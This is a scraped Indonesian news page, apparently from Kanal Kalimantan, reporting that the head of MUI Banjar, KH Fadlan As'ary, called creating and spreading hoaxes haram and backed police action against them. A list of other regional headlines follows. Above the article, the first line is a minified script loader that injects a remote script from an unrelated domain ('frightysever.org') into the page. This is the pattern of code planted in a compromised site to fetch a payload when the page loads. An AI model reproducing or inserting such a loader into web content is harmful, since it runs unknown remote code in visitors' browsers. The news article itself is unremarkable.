(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Guru Fadlan : Haram Membikin dan Sebarkan Berita Hoax!


MARTAPURA, Ketua Majelis Ulama Indonesia (MUI) Banjar KH Fadlan As’ary kembali mengingatkan hukum menjadi agen penyebar berita bohong (hoax). Pesan itu disampaikan menyusul pengungkapan kelompok penyebar informasi palsu di Jakarta, beberapa waktu lalu.
“MUI menetapkan melalui Fatwa Nomor 24 Tahun 2017 tentang hukum dan pedoman bermuamalah melalui media sosial bahwa muslim dilarang menyebarkan fitnah dan adu domba,” ujarnya.

Guru Fadlan -sapaan beliau-, bahwa masyarakat harus menjaga diri masing-masing, agar jangan sampai mengatakan kata-kata yang jahat, atau yang ditulis entah itu lewat media sosial ataupun di media yang bisa mengakibatkan perpecahan.

“Kita harus menjaga diri masing-masing agar menghindari berkata jahat atau menulis kata-kata jahat di media sosial atau media masa, agar tidak terjadi gejolak perpecahan. Kita harus menjaga kesatuan untuk NKRI,” tegas salah satu guru pengajar di Ponpes Darussalam Martapura ini.

Perbuatan tersebut sangat bertentangan dengan hukum positif, juga haram hukumnya dalam ajaran Islam, karena dapat menimbulkan perpecahan dan permusuhan.

“Dalam Islam jelas diharamkan perbuatan tersebut, kalau sudah haram pasti jadi dosa, dan dosa akan dipertanggung jawabkan,” tambahnya.

Oleh karena itu, MUI Kabupaten Banjar mendukung sepenuhnya aparat kepolisian untuk menindak pelaku penyebar berita hoax dan memutus mata rantai upaya penyebaran berita bohong di Tanah Air.

“MUI mendukung langkah kepolisian dalam menegakkan hukum kepada pelaku kejahatan di dunia maya. Siapa pun dia, harus ditindak tegas. Kami minta agar Polri fokus terhadap isunya, bukan identitasnya, karena hal itu berpotensi memunculkan kecemburuan kepada kelompok lain,” pungkasnya.(hendera)

Reporter: Hendera
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

28 menit ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

35 menit ago

Konferensi Kabupaten PGRI Kapuas Masa Bakti XXIII, Ini Pesan Bupati Wiyatno

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno membuka Konferensi Kabupaten Persatuan Guru Republik… Read More

1 jam ago

Wabup Banjar Hadiri Musrenbang RKPD Provinsi Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Bupati Banjar Habib Idrus Al Habsyi mengikuti Musyawarah Perencanaan Pembangunan (Musrenbang)… Read More

2 jam ago

Ikuti Rapat Paripurna, Wabup Banjar Bacakan 2 Raperda

KANALKALIMANTAN.COM, MARTAPURA - Rapat paripurna dengan agenda Penyampaian Bupati atas Raperda tentang Penyelenggaraan Perhubungan dan… Read More

3 jam ago

PLN Bangun Fasilitas MCK di MTs Al Ikhlas Longkali

KANALKALIMANTAN. COM, TANA PASER - Bentuk kepedulian sosial kepada masyarakat, PT PLN (Persero) melalui Unit… Read More

3 jam ago